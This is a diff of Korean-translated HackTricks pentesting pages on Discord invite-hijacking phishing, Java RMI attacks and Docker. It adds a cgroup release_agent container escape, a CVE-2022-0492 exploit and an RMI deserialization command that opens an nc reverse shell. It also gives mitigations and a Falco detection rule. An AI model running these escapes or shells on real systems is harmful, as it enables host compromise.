Translated ['src/generic-methodologies-and-resources/phishing-methodolog

src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md

@@ -29,7 +29,7 @@ Discord의 초대 시스템 취약점은 위협 행위자가 만료되거나 삭
 ## Discord 서버를 통한 피싱 흐름
 
 1. 서버 채널을 제한하여 **#verify** 채널만 보이도록 합니다.
-2. 봇(예: **Safeguard#0786**)을 배포하여 신규 사용자가 OAuth2를 통해 인증하도록 유도합니다.
+2. 신규 사용자가 OAuth2를 통해 인증하도록 유도하는 봇(예: **Safeguard#0786**)을 배포합니다.
 3. 봇이 사용자를 피싱 사이트(예: `captchaguard.me`)로 리디렉션합니다. 이는 CAPTCHA 또는 인증 단계의 가장을 씁니다.
 4. **ClickFix** UX 트릭을 구현합니다:
 - 깨진 CAPTCHA 메시지를 표시합니다.
@@ -50,12 +50,12 @@ navigator.clipboard.writeText(cmd);
 
 - 최소한 하나의 대문자 또는 비알파벳 문자가 포함된 영구 초대 링크를 사용하세요 (만료되지 않으며 재사용할 수 없음).
 - 정기적으로 초대 코드를 변경하고 오래된 링크를 취소하세요.
-- Discord 서버 부스트 상태 및 사용자 정의 URL 청구를 모니터링하세요.
+- Discord 서버 부스트 상태 및 맞춤 URL 청구를 모니터링하세요.
 - 사용자에게 서버의 진위를 확인하고 클립보드에 붙여넣은 명령을 실행하지 않도록 교육하세요.
 
 ## 참고 문헌
 
-- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
+- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
-- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
+- Discord Custom Invite Link Documentation – [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
 
 {{#include ../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md

@@ -4,7 +4,9 @@
 
 **자세한 내용은** [**원본 블로그 게시물**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**을 참조하십시오.** 이것은 요약입니다:
 
-Original PoC:
+---
+
+## Classic PoC (2019)
 ```shell
 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
 mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@@ -12,38 +14,109 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
 touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
 $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
 ```
-개념 증명(Proof of Concept, PoC)은 `release_agent` 파일을 생성하고 이를 호출하여 컨테이너 호스트에서 임의의 명령을 실행하는 방법을 보여줍니다. 다음은 관련 단계의 요약입니다:
+The PoC는 **cgroup-v1** `release_agent` 기능을 악용합니다: `notify_on_release=1`인 cgroup의 마지막 작업이 종료되면, 커널(호스트의 **초기 네임스페이스에서**)은 쓰기 가능한 파일 `release_agent`에 저장된 경로의 프로그램을 실행합니다. 이 실행은 **호스트에서 전체 루트 권한으로 발생하기 때문에**, 파일에 대한 쓰기 접근 권한을 얻는 것만으로도 컨테이너 탈출이 가능합니다.
+
+### 짧고 읽기 쉬운 단계별 설명
+
+1. **새 cgroup 준비하기**
 
-1. **환경 준비:**
-- `/tmp/cgrp` 디렉토리가 cgroup의 마운트 지점으로 사용되도록 생성됩니다.
-- RDMA cgroup 컨트롤러가 이 디렉토리에 마운트됩니다. RDMA 컨트롤러가 없는 경우, `memory` cgroup 컨트롤러를 대안으로 사용하는 것이 좋습니다.
-```shell
-mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
-```
-2. **자식 Cgroup 설정:**
-- 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다.
-- "x" cgroup에 대해 notify_on_release 파일에 1을 작성하여 알림이 활성화됩니다.
 ```shell
+mkdir /tmp/cgrp
+mount -t cgroup -o rdma cgroup /tmp/cgrp   # 또는 –o memory
+mkdir /tmp/cgrp/x
 echo 1 > /tmp/cgrp/x/notify_on_release
 ```
-3. **릴리스 에이전트 구성:**
+
-- 호스트의 컨테이너 경로는 /etc/mtab 파일에서 가져옵니다.
+2. **`release_agent`를 공격자가 제어하는 스크립트로 설정하기**
-- 그런 다음 cgroup의 release_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd라는 스크립트를 실행합니다.
+
 ```shell
-host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
+host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
 echo "$host_path/cmd" > /tmp/cgrp/release_agent
 ```
-4. **/cmd 스크립트 생성 및 구성:**
+
-- /cmd 스크립트는 컨테이너 내에서 생성되며 ps aux를 실행하도록 구성되어 있으며, 출력은 컨테이너 내의 /output이라는 파일로 리디렉션됩니다. 호스트에서 /output의 전체 경로가 지정됩니다.
+3. **페이로드 드롭하기**
+
 ```shell
-echo '#!/bin/sh' > /cmd
+cat <<'EOF' > /cmd
-echo "ps aux > $host_path/output" >> /cmd
+#!/bin/sh
-chmod a+x /cmd
+ps aux > "$host_path/output"
+EOF
+chmod +x /cmd
 ```
-5. **공격 시작:**
+
-- "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다.
+4. **알림 트리거하기**
-- 이로 인해 `release_agent`(the /cmd script)가 트리거되어 호스트에서 ps aux를 실행하고 출력을 컨테이너 내의 /output에 기록합니다.
+
 ```shell
-sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
+sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # 자신을 추가하고 즉시 종료
+cat /output                                  # 이제 호스트 프로세스가 포함됨
 ```
+
+---
+
+## 2022 커널 취약점 – CVE-2022-0492
+
+2022년 2월 Yiqi Sun과 Kevin Wang은 **커널이 cgroup-v1에서 `release_agent`에 쓸 때 권한을 검증하지 않는다는 것을 발견했습니다** (함수 `cgroup_release_agent_write`).
+
+실제로 **cgroup 계층을 마운트할 수 있는 모든 프로세스(예: `unshare -UrC`를 통해)는 *초기* 사용자 네임스페이스에서 `CAP_SYS_ADMIN` 없이 임의의 경로를 `release_agent`에 쓸 수 있었습니다**. 기본 구성의 루트 실행 Docker/Kubernetes 컨테이너에서는 다음을 허용했습니다:
+
+* 호스트에서 루트로의 권한 상승; ↗
+* 컨테이너가 특권을 가지지 않고도 컨테이너 탈출.
+
+이 결함은 **CVE-2022-0492** (CVSS 7.8 / 높음)로 지정되었으며, 다음 커널 릴리스(및 이후 모든 릴리스)에서 수정되었습니다:
+
+* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
+
+패치 커밋: `1e85af15da28 "cgroup: Fix permission checking"`.
+
+### 컨테이너 내 최소한의 익스플로잇
+```bash
+# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
+apk add --no-cache util-linux  # provides unshare
+unshare -UrCm sh -c '
+mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
+echo 1 > /tmp/c/notify_on_release;
+echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
+(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
+while true; do sleep 1; done
+'
+```
+커널이 취약한 경우, *호스트*의 busybox 바이너리가 전체 루트 권한으로 실행됩니다.
+
+### 강화 및 완화
+
+* **커널 업데이트** (≥ 버전 이상). 패치는 이제 `release_agent`에 쓰기 위해 *초기* 사용자 네임스페이스에서 `CAP_SYS_ADMIN`을 요구합니다.
+* **cgroup-v2 선호** – 통합 계층 **`release_agent` 기능을 완전히 제거하여**, 이 클래스의 탈출을 없앴습니다.
+* **불필요한 사용자 네임스페이스 비활성화**: 필요하지 않은 호스트에서:
+```shell
+sysctl -w kernel.unprivileged_userns_clone=0
+```
+* **의무적 접근 제어**: `/sys/fs/cgroup/**/release_agent`에서 `mount`, `openat`을 거부하거나 `CAP_SYS_ADMIN`을 제거하는 AppArmor/SELinux 정책은 취약한 커널에서도 이 기술을 중단시킵니다.
+* **읽기 전용 바인드 마스크** 모든 `release_agent` 파일 (Palo Alto 스크립트 예시):
+```shell
+for f in $(find /sys/fs/cgroup -name release_agent); do
+mount --bind -o ro /dev/null "$f"
+done
+```
+
+## 런타임에서의 탐지
+
+[`Falco`](https://falco.org/)는 v0.32부터 내장 규칙을 제공합니다:
+```yaml
+- rule: Detect release_agent File Container Escapes
+desc: Detect an attempt to exploit a container escape using release_agent
+condition: open_write and container and fd.name endswith release_agent and
+(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
+thread.cap_effective contains CAP_SYS_ADMIN
+output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
+priority: CRITICAL
+tags: [container, privilege_escalation]
+```
+규칙은 여전히 `CAP_SYS_ADMIN`을 가진 컨테이너 내부의 프로세스에서 `*/release_agent`에 대한 모든 쓰기 시도에 대해 트리거됩니다.
+
+
+## References
+
+* [Unit 42 – CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) – 상세 분석 및 완화 스크립트.
+* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
+
 {{#include ../../../../banners/hacktricks-training.md}}

src/network-services-pentesting/1099-pentesting-java-rmi.md

@@ -20,14 +20,14 @@ _nmap_은 때때로 _SSL_로 보호된 _RMI_ 서비스를 식별하는 데 어
 
 ## RMI 구성 요소
 
-간단히 말해, _Java RMI_는 개발자가 네트워크에서 _Java object_를 사용할 수 있도록 합니다. 이는 클라이언트가 연결하고 해당 객체에서 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이것은 간단하게 들리지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
+간단히 말해, _Java RMI_는 개발자가 네트워크에서 _Java object_를 사용할 수 있도록 합니다. 이는 클라이언트가 연결하고 해당 객체의 메서드를 호출할 수 있는 _TCP_ 포트를 엽니다. 이게 간단하게 들리지만, _Java RMI_가 해결해야 할 여러 가지 도전 과제가 있습니다:
 
 1. _Java RMI_를 통해 메서드 호출을 전송하려면 클라이언트는 IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 대상 객체의 `ObjID`를 알아야 합니다( `ObjID`는 객체가 네트워크에서 사용 가능해질 때 생성되는 고유하고 임의의 식별자입니다. _Java RMI_는 여러 객체가 동일한 _TCP_ 포트에서 수신할 수 있도록 허용하기 때문에 필요합니다).
-2. 원격 클라이언트는 노출된 객체에서 메서드를 호출하여 서버에서 리소스를 할당할 수 있습니다. _Java virtual machine_은 이러한 리소스 중 어떤 것이 여전히 사용 중인지, 어떤 것이 가비지 수집될 수 있는지를 추적해야 합니다.
+2. 원격 클라이언트는 노출된 객체의 메서드를 호출하여 서버에서 리소스를 할당할 수 있습니다. _Java virtual machine_은 이러한 리소스 중 어떤 것이 여전히 사용 중인지, 어떤 것이 가비지 수집될 수 있는지를 추적해야 합니다.
 
-첫 번째 도전 과제는 기본적으로 _Java RMI_의 이름 서비스인 _RMI registry_에 의해 해결됩니다. _RMI registry_ 자체도 _RMI service_이지만, 구현된 인터페이스와 `ObjID`는 고정되어 있으며 모든 _RMI_ 클라이언트가 알고 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트만 알면 _RMI_ 레지스트리를 사용할 수 있습니다.
+첫 번째 도전 과제는 _RMI registry_에 의해 해결됩니다. _RMI registry_는 기본적으로 _Java RMI_를 위한 이름 서비스입니다. _RMI registry_ 자체도 _RMI service_이지만, 구현된 인터페이스와 `ObjID`는 고정되어 있으며 모든 _RMI_ 클라이언트가 알고 있습니다. 이를 통해 _RMI_ 클라이언트는 해당 _TCP_ 포트만 알면 _RMI_ registry를 사용할 수 있습니다.
 
-개발자가 네트워크 내에서 _Java objects_를 사용 가능하게 하려는 경우, 일반적으로 이를 _RMI registry_에 바인딩합니다. _registry_는 객체에 연결하는 데 필요한 모든 정보(IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값)를 저장하고 이를 사람이 읽을 수 있는 이름(바인딩된 이름)으로 제공합니다. _RMI service_를 사용하려는 클라이언트는 해당 _bound name_에 대해 _RMI registry_에 요청하고, 레지스트리는 연결하는 데 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
+개발자가 자신의 _Java objects_를 네트워크 내에서 사용 가능하게 만들고자 할 때, 일반적으로 이를 _RMI registry_에 바인딩합니다. _registry_는 객체에 연결하는 데 필요한 모든 정보(IP 주소, 수신 포트, 구현된 클래스 또는 인터페이스 및 `ObjID` 값)를 저장하고 이를 사람이 읽을 수 있는 이름( _bound name_)으로 제공합니다. _RMI service_를 사용하려는 클라이언트는 해당 _bound name_에 대해 _RMI registry_에 요청하고, registry는 연결하는 데 필요한 모든 정보를 반환합니다. 따라서 상황은 기본적으로 일반 _DNS_ 서비스와 동일합니다. 다음 목록은 작은 예제를 보여줍니다:
 ```java
 import java.rmi.registry.Registry;
 import java.rmi.registry.LocateRegistry;
@@ -51,7 +51,7 @@ e.printStackTrace();
 }
 }
 ```
-위에서 언급한 두 번째 도전 과제는 _Distributed Garbage Collector_ (_DGC_)에 의해 해결됩니다. 이것은 잘 알려진 `ObjID` 값을 가진 또 다른 _RMI 서비스_이며 기본적으로 각 _RMI endpoint_에서 사용할 수 있습니다. _RMI client_가 _RMI 서비스_를 사용하기 시작하면, 해당 _remote object_가 사용 중임을 _DGC_에 알리는 정보를 전송합니다. 그러면 _DGC_는 참조 수를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
+위에서 언급한 두 번째 도전 과제는 _Distributed Garbage Collector_ (_DGC_)에 의해 해결됩니다. 이는 잘 알려진 `ObjID` 값을 가진 또 다른 _RMI service_이며 기본적으로 모든 _RMI endpoint_에서 사용할 수 있습니다. _RMI client_가 _RMI service_를 사용하기 시작하면, 해당 _remote object_가 사용 중임을 _DGC_에 알리는 정보를 전송합니다. 그러면 _DGC_는 참조 수를 추적하고 사용되지 않는 객체를 정리할 수 있습니다.
 
 더 이상 지원되지 않는 _Activation System_과 함께, 이들은 _Java RMI_의 세 가지 기본 구성 요소입니다:
 
@@ -59,7 +59,7 @@ e.printStackTrace();
 2. _Activation System_ (`ObjID = 1`)
 3. _Distributed Garbage Collector_ (`ObjID = 2`)
 
-_Java RMI_의 기본 구성 요소는 꽤 오랫동안 알려진 공격 벡터였으며, 구식 _Java_ 버전에는 여러 취약점이 존재합니다. 공격자의 관점에서 볼 때, 이러한 기본 구성 요소는 알려진 클래스/인터페이스를 구현했기 때문에 흥미롭고, 이들과 상호작용하는 것이 쉽습니다. 그러나 사용자 정의 _RMI 서비스_의 경우 상황이 다릅니다. _remote object_에서 메서드를 호출하려면 해당 메서드 시그니처를 미리 알아야 합니다. 기존 메서드 시그니처를 모르면 _RMI 서비스_와 통신할 방법이 없습니다.
+_Java RMI_의 기본 구성 요소는 꽤 오랫동안 알려진 공격 벡터였으며, 구식 _Java_ 버전에는 여러 취약점이 존재합니다. 공격자의 관점에서 볼 때, 이러한 기본 구성 요소는 알려진 클래스/인터페이스를 구현했기 때문에 흥미롭고, 이들과 상호작용하는 것이 쉽습니다. 그러나 사용자 정의 _RMI services_의 경우 상황이 다릅니다. _remote object_에서 메서드를 호출하려면 해당 메서드 시그니처를 미리 알아야 합니다. 기존 메서드 시그니처를 모르면 _RMI service_와 통신할 방법이 없습니다.
 
 ## RMI Enumeration
 
@@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
 [+]
 [+] RMI server codebase enumeration:
 [+]
-[+] 	- http://iinsecure.dev/well-hidden-development-folder/
+[+] 	- [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
 [+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
 [+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
 [+]
@@ -136,11 +136,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
 [+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
 [+] 	Count: 		-32760
 ```
-## 원격 메서드 무차별 대입
+## 원격 메서드 브루트포스
 
-열거 중에 취약점이 식별되지 않더라도, 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 기본 구성 요소에 대한 _RMI_ 통신은 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 대화할 때 이러한 필터는 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메서드 시그니처를 아는 것은 가치가 있습니다.
+열거 중에 취약점이 식별되지 않더라도, 사용 가능한 _RMI_ 서비스는 여전히 위험한 기능을 노출할 수 있습니다. 또한, _RMI_ 기본 구성 요소에 대한 _RMI_ 통신은 역직렬화 필터로 보호되지만, 사용자 정의 _RMI_ 서비스와 대화할 때는 이러한 필터가 일반적으로 적용되지 않습니다. 따라서 _RMI_ 서비스에서 유효한 메서드 시그니처를 아는 것은 중요합니다.
 
-불행히도, _Java RMI_는 _원격 객체_에서 메서드를 열거하는 것을 지원하지 않습니다. 그렇지만, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 또는 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메서드 시그니처를 무차별 대입하는 것은 가능합니다:
+불행히도, _Java RMI_는 _원격 객체_에서 메서드를 열거하는 것을 지원하지 않습니다. 그렇지만, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 또는 [rmiscout](https://github.com/BishopFox/rmiscout)와 같은 도구를 사용하여 메서드 시그니처를 브루트포스하는 것은 가능합니다:
 ```
 $ rmg guess 172.17.0.2 9010
 [+] Reading method candidates from internal wordlist rmg.txt
@@ -170,12 +170,12 @@ $ rmg guess 172.17.0.2 9010
 [+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
 [+] 		--> String login(java.util.HashMap dummy1)
 ```
-식별된 메서드는 다음과 같이 호출할 수 있습니다:
+식별된 방법은 다음과 같이 호출할 수 있습니다:
 ```
 $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
 [+] uid=0(root) gid=0(root) groups=0(root)
 ```
-다음과 같이 역직렬화 공격을 수행할 수 있습니다:
+또는 다음과 같이 역직렬화 공격을 수행할 수 있습니다:
 ```
 $ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
 [+] Creating ysoserial payload... done.
@@ -205,11 +205,11 @@ uid=0(root) gid=0(root) groups=0(root)
 - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 - [rmiscout](https://bishopfox.com/blog/rmiscout)
 
-추측하는 것 외에도, 검색 엔진이나 _GitHub_에서 만난 _RMI_ 서비스의 인터페이스나 구현을 찾아보아야 합니다. _bound name_과 구현된 클래스 또는 인터페이스의 이름이 여기서 도움이 될 수 있습니다.
+추측하는 것 외에도, 검색 엔진이나 _GitHub_에서 만난 _RMI_ 서비스의 인터페이스나 구현을 찾아보는 것이 좋습니다. 여기서 _bound name_과 구현된 클래스 또는 인터페이스의 이름이 도움이 될 수 있습니다.
 
 ## 알려진 인터페이스
 
-[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 는 도구의 내부 데이터베이스에 나열된 _RMI 서비스_인 경우 클래스를 `known`으로 표시합니다. 이러한 경우 `known` 작업을 사용하여 해당 _RMI 서비스_에 대한 더 많은 정보를 얻을 수 있습니다:
+[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 는 도구의 내부 데이터베이스에 나열된 _RMI 서비스_인 경우 클래스를 `known`으로 표시합니다. 이러한 경우, 해당 _RMI 서비스_에 대한 더 많은 정보를 얻기 위해 `known` 작업을 사용할 수 있습니다:
 ```
 $ rmg enum 172.17.0.2 1090 | head -n 5
 [+] RMI registry bound names:
@@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
 [+]
 [+] References:
-[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
+[+] 	- [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
-[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
+[+] 	- [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
 [+]
 [+] Vulnerabilities:
 [+]
@@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 		is therefore most of the time equivalent to remote code execution.
 [+]
 [+] 	References:
-[+] 		- https://github.com/qtc-de/beanshooter
+[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 [+]
 [+] 	-----------------------------------
 [+] 	Name:
@@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 [+] 		establish a working JMX connection, you can also perform deserialization attacks.
 [+]
 [+] 	References:
-[+] 		- https://github.com/qtc-de/beanshooter
+[+] 		- [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
 ```
 ## Shodan
 
@@ -282,7 +282,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
 
 - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
 
-## HackTricks 자동 명령
+## HackTricks Automatic Commands
 ```
 Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
 Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.

src/network-services-pentesting/2375-pentesting-docker.md

@@ -12,7 +12,7 @@ Docker는 **컨테이너화 산업**의 **최전선 플랫폼**으로, **지속
 
 - [**containerd**](http://containerd.io): 이는 **컨테이너의 라이프사이클**을 포괄적으로 **관리하는 핵심 런타임**입니다. 여기에는 **이미지 전송 및 저장**을 처리하고, **컨테이너의 실행, 모니터링 및 네트워킹**을 감독하는 것이 포함됩니다. **containerd에 대한 더 자세한 통찰**은 **추가적으로 탐구됩니다**.
 - **container-shim**은 **헤드리스 컨테이너**를 처리하는 데 있어 **중개자**로서 중요한 역할을 하며, 컨테이너가 초기화된 후 **runc**에서 원활하게 인계받습니다.
-- [**runc**](http://runc.io): **경량 및 범용 컨테이너 런타임** 기능으로 유명한 runc는 **OCI 표준**에 맞춰져 있습니다. 이는 containerd에 의해 **OCI 지침**에 따라 **컨테이너를 시작하고 관리**하는 데 사용되며, 원래의 **libcontainer**에서 발전하였습니다.
+- [**runc**](http://runc.io): **경량 및 범용 컨테이너 런타임** 기능으로 유명한 runc는 **OCI 표준**에 맞춰져 있습니다. 이는 containerd가 **OCI 가이드라인**에 따라 **컨테이너를 시작하고 관리**하는 데 사용되며, 원래의 **libcontainer**에서 발전하였습니다.
 - [**grpc**](http://www.grpc.io)는 **containerd와 docker-engine** 간의 **통신을 촉진하는 데 필수적**이며, **효율적인 상호작용**을 보장합니다.
 - [**OCI**](https://www.opencontainers.org)는 런타임 및 이미지에 대한 **OCI 사양**을 유지하는 데 중요한 역할을 하며, 최신 Docker 버전은 **OCI 이미지 및 런타임** 표준을 모두 **준수합니다**.
 
@@ -41,11 +41,11 @@ docker system prune -a
 ```
 #### Containerd
 
-**Containerd**는 **Docker와 Kubernetes**와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 특별히 개발되었습니다. 이는 운영 체제에 따라 다르게 작동하는 기능과 시스템 호출을 추상화하여 Linux, Windows, Solaris 등 다양한 운영 체제에서 **컨테이너 실행을 단순화**하는 것을 목표로 합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소는 생략하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 도전적인 것으로 인정됩니다.
+**Containerd**는 **Docker와 Kubernetes**와 같은 컨테이너 플랫폼의 요구를 충족시키기 위해 특별히 개발되었습니다. 이는 Linux, Windows, Solaris 등 다양한 운영 체제에서 컨테이너 실행을 **단순화**하는 것을 목표로 하며, 운영 체제별 기능과 시스템 호출을 추상화합니다. Containerd의 목표는 사용자에게 필요한 필수 기능만 포함하고 불필요한 구성 요소는 생략하는 것입니다. 그러나 이 목표를 완전히 달성하는 것은 도전적인 것으로 인정됩니다.
 
 주요 설계 결정 중 하나는 **Containerd가 네트워킹을 처리하지 않는다는 것입니다**. 네트워킹은 분산 시스템에서 중요한 요소로 간주되며, 소프트웨어 정의 네트워킹(SDN) 및 서비스 발견과 같은 복잡성은 플랫폼마다 크게 다릅니다. 따라서 Containerd는 지원하는 플랫폼이 네트워킹 측면을 관리하도록 남겨둡니다.
 
-**Docker가 Containerd를 사용하여** 컨테이너를 실행하는 동안, Containerd는 Docker의 기능 중 일부만 지원한다는 점에 유의해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능이 없으며 Docker 스웜의 생성을 직접 지원하지 않습니다. 이 구분은 Containerd가 컨테이너 런타임 환경으로서의 집중된 역할을 강조하며, 통합하는 플랫폼에 더 전문화된 기능을 위임합니다.
+**Docker가 Containerd를 사용하여** 컨테이너를 실행하는 동안, Containerd는 Docker의 기능 중 일부만 지원한다는 점에 유의해야 합니다. 구체적으로, Containerd는 Docker에 있는 네트워크 관리 기능이 부족하며 Docker 스웜의 생성을 직접 지원하지 않습니다. 이 구분은 Containerd가 컨테이너 런타임 환경으로서의 집중된 역할을 강조하며, 통합하는 플랫폼에 더 전문화된 기능을 위임합니다.
 ```bash
 #Containerd CLI
 ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@@ -63,20 +63,20 @@ ctr container delete <containerName>
 ```
 #### Podman
 
-**Podman**은 Red Hat에서 개발 및 유지 관리하는 오픈 소스 컨테이너 엔진으로, [Open Container Initiative (OCI) standards](https://github.com/opencontainers)를 준수합니다. **데몬 없는 아키텍처**와 **루트 없는 컨테이너** 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
+**Podman**은 Red Hat에서 개발 및 유지 관리하는 [Open Container Initiative (OCI) 표준](https://github.com/opencontainers)을 준수하는 오픈 소스 컨테이너 엔진입니다. **데몬 없는 아키텍처**와 **루트 없는 컨테이너** 지원 등 여러 가지 독특한 기능으로 Docker와 차별화됩니다. 이를 통해 사용자는 루트 권한 없이 컨테이너를 실행할 수 있습니다.
 
-Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령을 사용할 수 있습니다. 이 호환성은 **Buildah**와 같은 컨테이너 이미지 빌드를 위한 도구와 푸시, 풀, 검사와 같은 이미지 작업을 위한 **Skopeo**를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 [GitHub 페이지](https://github.com/containers/buildah/tree/master/docs/containertools)에서 확인할 수 있습니다.
+Podman은 Docker의 API와 호환되도록 설계되어 Docker CLI 명령을 사용할 수 있습니다. 이 호환성은 컨테이너 이미지를 빌드하기 위한 **Buildah**와 푸시, 풀, 검사와 같은 이미지 작업을 위한 **Skopeo**와 같은 도구를 포함하는 생태계로 확장됩니다. 이러한 도구에 대한 자세한 내용은 [GitHub 페이지](https://github.com/containers/buildah/tree/master/docs/containertools)에서 확인할 수 있습니다.
 
 **주요 차이점**
 
-- **아키텍처**: Docker의 클라이언트-서버 모델과 백그라운드 데몬과 달리, Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작한 사용자의 권한으로 실행되므로 루트 접근이 필요 없어 보안을 강화합니다.
+- **아키텍처**: Docker의 클라이언트-서버 모델과 백그라운드 데몬과 달리, Podman은 데몬 없이 작동합니다. 이 설계는 컨테이너가 시작하는 사용자의 권한으로 실행되므로 루트 접근이 필요 없어 보안을 강화합니다.
 - **Systemd 통합**: Podman은 **systemd**와 통합되어 컨테이너를 관리할 수 있으며, systemd 유닛을 통해 컨테이너 관리를 가능하게 합니다. 이는 Docker가 주로 Docker 데몬 프로세스를 관리하기 위해 systemd를 사용하는 것과 대조적입니다.
-- **루트 없는 컨테이너**: Podman의 중요한 기능은 시작하는 사용자의 권한으로 컨테이너를 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 루트 접근이 아닌 손상된 사용자의 권한만 얻도록 하여 컨테이너 침해와 관련된 위험을 최소화합니다.
+- **루트 없는 컨테이너**: Podman의 중요한 기능은 시작하는 사용자의 권한으로 컨테이너를 실행할 수 있는 능력입니다. 이 접근 방식은 공격자가 루트 접근이 아닌 손상된 사용자 권한만 얻도록 하여 컨테이너 침해와 관련된 위험을 최소화합니다.
 
 Podman의 접근 방식은 사용자 권한 관리와 기존 Docker 워크플로우와의 호환성을 강조하며 Docker에 대한 안전하고 유연한 대안을 제공합니다.
 
-> [!NOTE]
+> [!TIP]
